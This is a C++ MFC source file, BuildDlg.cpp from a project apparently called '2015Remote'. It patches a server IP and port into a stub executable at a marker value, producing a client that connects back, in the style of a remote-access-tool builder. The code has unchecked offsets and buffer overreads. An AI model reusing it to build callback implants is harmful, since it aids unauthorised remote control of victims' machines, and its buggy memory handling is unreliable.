136 lines
2.9 KiB
C++
136 lines
2.9 KiB
C++
// BuildDlg.cpp : 实现文件
|
|
//
|
|
|
|
#include "stdafx.h"
|
|
#include "2015Remote.h"
|
|
#include "BuildDlg.h"
|
|
#include "afxdialogex.h"
|
|
#include <io.h>
|
|
|
|
// CBuildDlg 对话框
|
|
|
|
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
|
|
|
|
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
|
|
|
|
struct CONNECT_ADDRESS
|
|
{
|
|
DWORD dwFlag;
|
|
char szServerIP[MAX_PATH];
|
|
int iPort;
|
|
}g_ConnectAddress={0x1234567,"",0};
|
|
|
|
CBuildDlg::CBuildDlg(CWnd* pParent)
|
|
: CDialog(CBuildDlg::IDD, pParent)
|
|
, m_strIP(_T(""))
|
|
, m_strPort(_T(""))
|
|
{
|
|
|
|
}
|
|
|
|
CBuildDlg::~CBuildDlg()
|
|
{
|
|
}
|
|
|
|
void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
|
{
|
|
CDialog::DoDataExchange(pDX);
|
|
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
|
|
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
|
|
}
|
|
|
|
|
|
BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
|
|
ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk)
|
|
END_MESSAGE_MAP()
|
|
|
|
|
|
// CBuildDlg 消息处理程序
|
|
|
|
|
|
void CBuildDlg::OnBnClickedOk()
|
|
{
|
|
CFile File;
|
|
char szTemp[MAX_PATH];
|
|
ZeroMemory(szTemp,MAX_PATH);
|
|
CString strCurrentPath;
|
|
CString strFile;
|
|
CString strSeverFile;
|
|
BYTE * szBuffer=NULL;
|
|
DWORD dwFileSize;
|
|
UpdateData(TRUE);
|
|
//////////上线信息//////////////////////
|
|
strcpy(g_ConnectAddress.szServerIP,m_strIP); //服务器IP
|
|
|
|
g_ConnectAddress.iPort=atoi(m_strPort); //端口
|
|
if (strlen(m_strIP)==0 || g_ConnectAddress.iPort==0)
|
|
return;
|
|
try
|
|
{
|
|
//此处得到未处理前的文件名
|
|
char path[_MAX_PATH], *p = path;
|
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
|
while (*p) ++p;
|
|
while ('\\' != *p) --p;
|
|
strcpy(p+1, "TestRun.exe");
|
|
|
|
strFile = path; //得到当前未处理文件名
|
|
if (_access(path, 0) == -1)
|
|
{
|
|
MessageBox("\"TestRun.exe\"不存在!");
|
|
return CDialog::OnOK();
|
|
}
|
|
|
|
//打开文件
|
|
File.Open(strFile,CFile::modeRead|CFile::typeBinary);
|
|
|
|
dwFileSize=File.GetLength();
|
|
szBuffer=new BYTE[dwFileSize];
|
|
ZeroMemory(szBuffer,dwFileSize);
|
|
//读取文件内容
|
|
|
|
File.Read(szBuffer,dwFileSize);
|
|
File.Close();
|
|
//写入上线IP和端口 主要是寻找0x1234567这个标识然后写入这个位置
|
|
int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.dwFlag,dwFileSize,sizeof(DWORD));
|
|
memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress));
|
|
//保存到文件
|
|
strcpy(p+1, "ClientDemo.exe");
|
|
strSeverFile = path;
|
|
File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
|
|
File.Write(szBuffer,dwFileSize);
|
|
File.Close();
|
|
delete[] szBuffer;
|
|
MessageBox("生成成功!");
|
|
}
|
|
catch (CMemoryException* e)
|
|
{
|
|
MessageBox("内存不足!");
|
|
}
|
|
catch (CFileException* e)
|
|
{
|
|
MessageBox("文件操作错误!");
|
|
}
|
|
catch (CException* e)
|
|
{
|
|
MessageBox("未知错误!");
|
|
}
|
|
CDialog::OnOK();
|
|
}
|
|
|
|
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize)
|
|
{
|
|
int i,j;
|
|
if (iKeySize == 0||iBufferSize==0)
|
|
{
|
|
return -1;
|
|
}
|
|
for (i = 0; i < iBufferSize; i++)
|
|
{
|
|
for (j = 0; j < iKeySize; j ++)
|
|
if (szBuffer[i+j] != Key[j]) break; //0x12345678 78 56 34 12
|
|
if (j == iKeySize) return i;
|
|
}
|
|
return -1;
|
|
}
|